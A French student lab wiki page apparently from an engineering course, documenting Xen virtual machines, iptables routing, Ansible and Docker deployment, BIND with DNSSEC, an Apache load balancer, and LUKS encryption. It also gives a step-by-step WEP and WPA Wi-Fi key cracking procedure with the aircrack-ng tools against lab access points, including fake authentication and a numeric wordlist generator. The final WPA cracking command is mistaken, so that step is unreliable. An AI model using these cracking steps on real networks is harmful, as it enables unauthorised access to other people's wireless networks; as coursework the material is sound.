TP sysres IMA5sc 2019/2020 G3 : Différence entre versions

Version actuelle datée du 30 janvier 2020 à 14:48

Prélude

Suite au choix du thème, nous avons choisi comme nom de domaine herpesgenital

Architecture réseau

Machine virtuelle Xen

Création et configuration

La machine virtuelle sera sur installée sur Cordouan. On s'y connecte donc en ssh :

$ ssh root@cordouan.insecserv.deule.net

On peut ensuite créer la machine virtuelle Xen : (On n'oublie pas de fixer les paramètres de proxy)

$ export http_proxy=http://proxy.plil.fr:3128
$ export https_proxy=http://proxy.plil.fr:3128
$ xen-create-image --hostname=herpesgenital --dhcp --dir=/usr/local/xen --force

On peut alors observer le mot de passe root dans le fichier suivant :

$ tail /var/log/xen-tools/herpesgenital.log

On va ensuite modifier le fichier de configuration de la machine virtuelle (/etc/xen/herpesgenital.cfg). On modifie la ligne suivante pour ajouter le bridge :

vif = [ 'mac=00:16:3E:2B:55:6A,bridge=IMA5sc' ]

On peut vérifier la configuration des bridges via la commande :

$ brctl show

On peut alors ensuite finaliser la création de la machine virtuelle puis interragir avec elle via le terminal :

$ xl create /etc/xen/herpesgenital.cfg
$ xl console herpesgenital

Il est possible de se connecter en root avec le mot de passe récupéré précédemment puis modifier ce mot de passe via la commande

$ passwd root

VOIR LE PARTIONNEMENT

On ajoute l'adresse IP de notre VM en modifiant le fichier /etc/network/interfaces :

 auto eth0
 iface eth0 inet static
  address 193.48.57.179
  netmask 255.255.255.240
  gateway 193.48.57.190

Puis on peut activer la connexion en ssh à notre VM sur le fichier suiviant en décommentant la ligne PermitRootLogin yes

nano /etc/ssh/sshd_config

Seconde machine virtuelle privée

On peut alors créer une seconde marchine virtuelle Xen comme prédédemment mais qui est cette fois privée (private-herpesgenital). Celle ci contiendra les serveur web de chacun des binômes.

Pour autoriser le routage :

$ echo 1 > /proc/sys/net/ipv4/conf/all/forwarding

Sur notre machine virtuelle principale (herpesgenital) on peut créer une mascarade provisoire pour notre seconde machine virtuelle.

$ iptables -P FORWARD DROP
$ iptables -A FORWARD -j ACCEPT -s 172.26.16.0/20
$ iptables -A FORWARD -j ACCEPT -d 172.26.16.0/20
$ iptables -t nat -A POSTROUTING -j MASQUERADE -s 172.26.16.0/20

On peut alors ping google.fr depuis private-herpesgenital pour vérifier que la masquarade provisoire est opérationnelle.

Pour rendre la masquarade persistante, on installe le paquet iptables-persistent sur herpesgenital puis dans le fichier /etc/sysctl.conf on décommente la ligne net.ipv4.ip_forward=1 puis on recharge les nouveau paramètres avec :

$ sysctl -p /etc/sysctl.conf

On peut alors générer une paire de clés (publique-privée) pour la connexion en ssh :

$ ssh-keygen -t rsa

On peut ensuite via ssh (en utilisant toujours un mot de passe), ajouter notre clé à la liste des clés authorisés sur l'ensemble des machines private.

$ cat .ssh/id_rsa.pub | ssh 192.168.0.3 "cat >> /root/.ssh/authorized_keys2"

On peut alors maintenant se connecter directement aux machines virtuelles private avec notre clé sur herpesgenital et sans mot de passe.

Ansible

Nous allons utiliser ansible pour configurer les serveur web.

Pour réaliser l'inventaire ansible, on modifie /etc/ansible/hosts pour définir notre machine private (interne) ainsi que celles des autres groupes (serveur-web).

 all:
  hosts:
    interne:
      ansible_host: 192.168.0.3
  children:
    serveur_web:
      hosts:
        192.168.0.[1:6]:

On crée un dosssier roles dans /etc/ansible puis dans ce dossier roles on crée un nouveau rôle corneille via

$ ansible-galaxy init corneille

Le rôle corneille a pour but de modifier le message of the day ainsi que de mettre en place NTP pour configurer la synchronisation de l'horloge. Le rôle est défini dans le fichier /etc/ansible/roles/corneille/tasks/main.yml

 ---
  - name: motd_copy
    copy:
      dest: /etc/motd
      src: motd

  - name: ntp_install
    apt:
      state: present
      name:
        - ntp
        - ntpdate

  - name: ntp_config
    copy:
      src=ntp.conf
      dest=/etc/ntp.conf
    tags: ntp

   - name: ntp_stop
    service:
      name=ntp
      state=stopped
      enabled=yes
    tags: ntpd

   - name: ntp_init
    shell: ntpdate ntp.polytech-lille.fr
    tags: ntp

  - name: ntp_launch
    service:
      name=ntp
      state=started
      enabled=yes
    tags: ntp
 ...

Le rôle est utilisé dans le playbook motd.yml suivant :

 ---
 - hosts: interne
   roles:
     - corneille
 ...

On peut lancer le playbook via la commande :

$ ansible-playbook motd.yml

Cette commande va permettre de lancer les actions du rôle corneille sur le host interne, qui est uniquement notre machine virtuelle privée.

On peut à présent créer deux playbooks pour la création et le déploiement de docker sur toutes les machine virtuelles privées.

Fichier docker.yml :

 ---
 - hosts: serveur_web
   vars:
     - pip_install_packages:
         name: docker
     - docker_apt_repository: "deb [arch=Modèle:Docker apt arch] https://download.docker.com/linux/debian stretch stable"
   roles:
     - geerlingguy.docker
 ...

Fichier create_docker.yml :

---
- hosts: serveur_web
  tasks:
  - name: install rsync
    apt:
      state: latest
      name:
        - rsync
        - python-pip

  - name: install docker-py
    shell: pip install docker

  - name: copying Website files
    copy:
      src: DockerFiles
      dest: /tmp/gr3

  - name: stop already running container
    docker_container:
      name: container-herpesgenital
      state: stopped
      image: image-for-herpesgenital
    ignore_errors: yes

  - name: delete container
    docker_container:
      name: container-herpesgenital
      state: absent
      image: image-for-herpesgenital
    ignore_errors: yes

  - name: delete the image
    docker_image: >
      name=image-for-herpesgenital
      tag=latest
      path=/tmp/gr3
      state=absent
      force=yes

  - name: build Docker image from Dockerfile
    docker_image:
      tag: latest
      name: image-for-herpesgenital
      path: /tmp/gr3/DockerFiles
      state: present

  - name: create container
    docker_container:
      name: container-herpesgenital
      image: image-for-herpesgenital
      state: present

  - name: start container
    docker_container:
      name: container-herpesgenital
      image: image-for-herpesgenital
      state: started
      recreate: yes
      ports:
        "8003:80"

Le second playbook va copier sur les machines privées le dossier Dockerfiles situé dans /root/files (copié dans /tmp/gr3). Ce dossier contiendra un Dockerfile qui va permettre la mise en place d'un conteneur ainsi qu'un fichier html qui sera la page à déployer sur nos serveurs web.

Docker

Voyons maintenant le Dockerfile en question situé dans herpesgenital:/root/files/DockerFiles :

 FROM centos:latest
 MAINTAINER herpesgenital
 RUN yum -y install httpd
 COPY index.html /var/www/html
 CMD ["/usr/sbin/httpd", "-D", "FOREGROUND"]
 EXPOSE 80

Le Dockerfile va se baser sur la dernière image de centos, installer httpd, puis copier notre page web (index.html) dans le conteneur. Finalement on lance httpd en arrière plan pour faire tourner notre page web.

Le playbook va build puis run cette image Docker.

Les commandes manuelles correspondantes sont les suivantes :

Pour build l'image Docker dans le repertoire du Dockerfile

$ docker build . -t nom_docker

On peut alors run l'image docker en reliant le port 80 du reverse proxy au port 8003 de notre machine.

$ docker run -dit -p 8003:80 nom_docker

Pour vérifier que notre image docker est bien en train de tourner, on peut utiliser la commande :

$ docker container ls

Serveur Web

Bind & DNSSEC

On installe bind9 sur notre machine publique herpesgenital :

$ apt install bind9 bind9-host dnsutils

On ajoute les lignes suivantes pour activer le DNSSEC dans /etc/bind/named.conf.options :

dnssec-validation auto;
dnssec-enable yes;

On créé le fichier de configuration de notre site /etc/bind/herpesgenital.site :

;
; BIND data file for local loopback interface
;
$TTL    604800
@       IN      SOA     ns.herpesgenital.site. root.herpesgenital.site (
                        4       ; Serial
                        604800  ; Refresh
                        86400   ; Retry
                        2419200 ; Expire
                        604800 )        ; Negative Cache TTL
;
        IN      NS      ns.herpesgenital.site.
        IN      NS      ns6.gandi.net.
@       IN      A       193.48.57.179
ns      IN      A       193.48.57.179
www     IN      A       193.48.57.179

On modifie alors /etc/bind/named.conf.local pour y inclure notre fichier de configuration :

zone "herpesgenital.site" {
        type master;
        file "/etc/bind/herpesgenital.site";
        allow-transfer {217.70.177.40;}; //dns de gandi
};

On peut redémarrer bind avec :

$ service bind9 restart

Puis dans /etc/bind/named.conf on ajoute :

include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";

On crée le répertoire /etc/bind/herpesgenital.site.dnssec puis on génére les clés selon l'algorithme RSA-SHA1 :

$ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE herpesgenital.site
$ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE herpesgenital.site

Puis on les renomme avec des noms plus commodes :

herpesgenital.site-ksk.key
herpesgenital.site-ksk.private
herpesgenital.site-zsk.key
herpesgenital.site-zsk.private

On peut alors rajouter nos clés dans le fichier de configuration du site (/etc/bind/herpesgenital.site) :

;
; BIND data file for local loopback interface
;
$TTL    604800
$include /etc/bind/herpesgenital.site.dnssec/herpesgenital.site-ksk.key
$include /etc/bind/herpesgenital.site.dnssec/herpesgenital.site-zsk.key
@       IN      SOA     ns.herpesgenital.site. root.herpesgenital.site (
                        4       ; Serial
                        604800  ; Refresh
                        86400   ; Retry
                        2419200 ; Expire
                        604800 )        ; Negative Cache TTL
;
        IN      NS      ns.herpesgenital.site.
        IN      NS      ns6.gandi.net.
@       IN      A       193.48.57.179
ns      IN      A       193.48.57.179
www     IN      A       193.48.57.179

On signe via la commande :

$ dnssec-signzone -o herpesgenital.site -k herpesgenital.site-ksk ../herpesgenital.site herpesgenital.site-zsk

Enfin on modifie /etc/bind/named.conf.local pour remplacer par le fichier de configuration signé :

zone "herpesgenital.site" {
        type master;
        file "/etc/bind/herpesgenital.site.signed";
        allow-transfer {217.70.177.40;}; //dns de gandi
};

On n'oublie pas de redémarrer bind :

$ service bind9 restart

Apache

Pour configurer Apache, dans /etc/apache2/sites-available on peut créer le fichier herpesgenital.site.conf : (GandiStandardSSLCA2.pem et herpesgenital.site.crt ont été récupérés sur Gandi)

<VirtualHost 193.48.57.179:443>
     ServerName www.herpesgenital.site
     ServerAlias herpesgenital.site
     DocumentRoot /var/www/html/
     SSLEngine on
     SSLCertificateFile /etc/ssl/certs/herpesgenital.site.crt
     SSLCertificateKeyFile /etc/ssl/key/myserver.key
     SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
     SSLVerifyclient None
</VirtualHost>

<VirtualHost 193.48.57.179:80>
     ServerName www.herpesgenital.site
     ServerAlias herpesgenital.site
     ProxyPass "/" "http://192.168.0.3:8003/"
     ProxyPassReverse "/" "http://192.168.0.3:8003/"
     Redirect "/" "https://www.herpesgenital.site"
</VirtualHost>

On peut activer cette configuration via la commande et désactiver la configuration par défaut :

$ a2ensite herpesgenital.site.conf
$ a2dissite 000-default.conf

On active les les modules nécessaires :

$ a2enmod ssl
$ a2enmod proxy
$ a2enmod proxy_http

Puis on fini par rédemarrer le client apache

$ service apache2 reload

Passons maintenant au mandataire inverse et à l'équilibreur de charge. On modifie notre fichier herpesgenital.site.conf pour ajouter :

<Proxy "balancer://herpesgenital-balancer">
       BalancerMember http://192.168.0.1:8003
       BalancerMember http://192.168.0.2:8003
       BalancerMember http://192.168.0.3:8003
       BalancerMember http://192.168.0.4:8003
       BalancerMember http://192.168.0.5:8003
       BalancerMember http://192.168.0.6:8003
       ProxySet lbmethod=byrequests
</Proxy>
<Location /balancer-manager>
        SetHandler balancer-manager
</Location>
ProxyPass /balancer-manager !
ProxyPass / balancer://herpesgenital-balancer/

Cassage de clé WEP

On utilise pour casser la clé WEP un dongle wifi "Wi-Pi". Après avoir connecté le dongle on affiche la liste des interfaces wifi via la commande

$ iwconfig

On observe alors le nom de de l'interface associée au dongle : wlx40a5ef0590b2 renommée lors de la commande en wlan0mon

On commence par passer l'interface en mode moniteur :

$ airmon-ng start  wlan0mon

On peut alors visualiser les point d'accès WEP disponibles :

$ airodump-ng --encrypt wep wlan0mon

On choisit de travailler avec cracotte04 dont on va essayer de casser la clé WEP. Grâce à la commande précédente on a pu récupérer son BSSID et son Channel. On capture les paquets sur l'interface de craquotte04 via la commande :

$ airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:53 -w ./path_to_folder/cracotte04 wlan0mon

On lance alors en simultané sur un autre terminal des simulations de connexions au point d'accès. La commande suivante permet de se faire passer pour un client afin de générer de l'activité sur le réseau.

$ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:53 wlan0mon

Une fois avoir capturé un grand nombre de paquets (au moins 20 000), on peut alors lancer le cassage :

$ aircrack-ng ./path_to_folder/cracotte04.cap

Cassage de clé WPA

De la même manière que pour le cassage de clé WEP, on utilise un dongle wifi en mode moniteur grace auquel on observe les caractéristiques (bssid et channel) du réseau sans fil dont on souhaite casser le code puis on capture au moins un handshake.

$ iwconfig
$ airmon-ng start wlan0mon
$ airodump-ng wlan0mon

Pour réaliser le cassage en WPA on doit fournir un dictionnaire de tous les mots de passe à essayer. On crée pour cela un simple code C

#include <stdio.h>

int main(){
       int i=0;
       for(i=0;i<100000000;i++){
               printf("%d\n",i);
       }
       return 0;
}

On éxécute ce code : (Ne pas oublier les permissions avec chmod si nécessaire)

$ ./executable > ./path_to/dictionnaire.txt

Puis on peut alors casser le code via la commande :

$ airodump-ng -w ./path_to/dictionnaire.txt ./path_to/kracotte07.cap

Cryptage de données

L'objectif est de créer une clé usb cryptée avec cryptsetup.

On commence d’abord par brancher notre clé usb. On liste ensuite les différentes partitions.

 fdisk -l

Une fois la partition de la clé usb repérée, on crée une partition LUKS sur la partition de la clé usb

 cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb1

On ouvre ensuite la partition chiffrée, le mot de passe précédemment rentré est demandé

 cryptsetup luksOpen /dev/sdb1 usb_crypted

On formate ensuite la partition au système de fichier ext4

 mkfs -t ext4 /dev/mapper/usb_crypted

On monte enfin la partition chiffrée sur le point de montage mnt

 mount -t ext4 /dev/mapper/usb_crypted /mnt/

Une fois cela fait, on peut maintenant créer un fichier quelconque afin de vérifier qu'on ne puisse pas y avoir accès sans le mot de passe. Dans notre cas on crée un fichier test.txt.

on démonte ensuite la partition et on coupe la communication avec la partition.

 umount /mnt
 cryptsetup luksClose usb_crypted 

Il n'est désormais possible d'acceder au contenu de la clé usb qu'avec

 cryptsetup luksOpen /dev/sdb1 usb_crypted

Si on essaye de monter traditionnellement la clé usb, on a un message indiquant "unknow filesystem type ‘crypto_LUKS’"